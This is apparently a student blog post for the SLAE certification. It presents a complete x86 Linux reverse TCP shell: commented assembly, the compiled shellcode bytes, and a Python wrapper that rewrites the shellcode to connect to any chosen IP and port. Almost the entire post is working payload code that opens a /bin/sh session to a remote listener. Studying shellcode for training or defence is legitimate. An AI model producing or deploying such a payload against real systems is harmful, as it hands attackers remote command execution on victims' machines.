This is the first assignment in the Securitytube SLAE series. The assignment consists of writing your own reverse TCP shell. I wrote mine based on the analysis I made in a previous assignment. I also wrote a wrapper in python which generates the shellcode containing a custom IP and port.
Information
Github Repository: https://github.com/cloud101/SLAE32/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-251
The assembly code:
global _start section .text _start: ;initiate the variables and clear the variables (trick from msfpayload) xor ebx,ebx mul ebx ;first create a socket by pushing the variables ;sockfd = socket(AF_INET, SOCK_STREAM, 0); mov al,102 ;move syscall into al, do not use eax or you will end up with 0x00 push ebx; Build the arguments list, 0 indicates the default protocol inc ebx ; increase to one push ebx ; 1 on the stack, this is to indicate that we will be using SOCK_STREAM push byte 0x2 ; 2 is AF_INET mov ecx, esp ; move the stackpointer into ecx int 0x80 ; syscall to create a socket file descriptor xchg ebx,eax push byte 0x2; push it on the stack, then pop it into ecx to avoid 0x00 bytes pop ecx dup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) dec ecx ; count down to 0 jns dup_loop ; If the sign flag is not set, ecx is not negative. push 0x0100007f ;the IP address 127.0.0.1 push word 0x697a;port number 31337 mov cx,2 push word cx mov ecx,esp ;move the argument pointer into ecx push byte 0x10 ;move 16 on top of the stack, this is the length of the struct push ecx ;pointer to the argument push ebx ;pointer to the file descriptor mov ecx,esp mov al,102 ;move the syscall into al int 0x80 ;call execve as we have done before ; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push edx ; push some nulls for string termination. push 0x68732f2f ; push "//sh" to the stack. push 0x6e69622f ; push "/bin" to the stack. mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp. push edx ; push 32-bit null terminator to stack. mov edx, esp ; This is an empty array for envp. push ebx ; push string addr to stack above null terminator. mov ecx, esp ; This is the argv array with string ptr int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
The generated shellcode:
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x66\x68\x7a\x69\x66\xb9\x02\x00\x66\x51\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
My wrapper script:
#!/usr/bin/env python # -*- coding: utf-8 -*- import socket,struct from argparse import ArgumentParser parser = ArgumentParser(description="Shellcode generator") parser.add_argument("-p","--port",dest="port", help="Provide a port between 1024 and 65535.", required=True,type=int ) parser.add_argument("-a","--address",dest="ip", help="Provide a valid IP address.", required=True,type=str ) args = vars(parser.parse_args()) arg_port = args["port"] arg_ip = args["ip"] shellcode1 = \ """\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68""" shellcode2 = \ """\\x66\\x68""" shellcode3 = \ """\\x66\\xb9\\x02\\x00\\x66\\x51\\x89\\xe1\\x6a\\x10\\x51\\x53\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80""" def ip2long(ip): """ Convert an IP string to long """ try: packedIP = socket.inet_aton(ip) except: print "IP is not valid" hex_IP_string = hex(struct.unpack("!L", packedIP)[0]) ip_list = list (hex_IP_string) ip_list = ip_list[2:] ip_string = "" for x in range(0, len(ip_list),2): ip_string += "\\x"+ip_list[x]+ip_list[x+1] return ip_string def portToHex(port): hexport = str (hex(port)[2:] ) if len (hexport) <= 3: temp = list(hexport) hex1 = temp[0] hex2 = temp[1] hex3 = temp[2] hexport = "\\x0"+hex1+"\\x"+hex2+hex3 else: temp = list(hexport) hexport = "\\x"+temp[0]+temp[1]+"\\x"+temp[2]+temp[3] return hexport if arg_port <= 65535 and arg_port >= 1024: print "Shellcode for ip %s with port %s:" % (arg_ip,arg_port) port = portToHex(arg_port) ip = ip2long(arg_ip) print shellcode1+ip+shellcode2+port+shellcode3 else: print "Port too small. How unfortunate."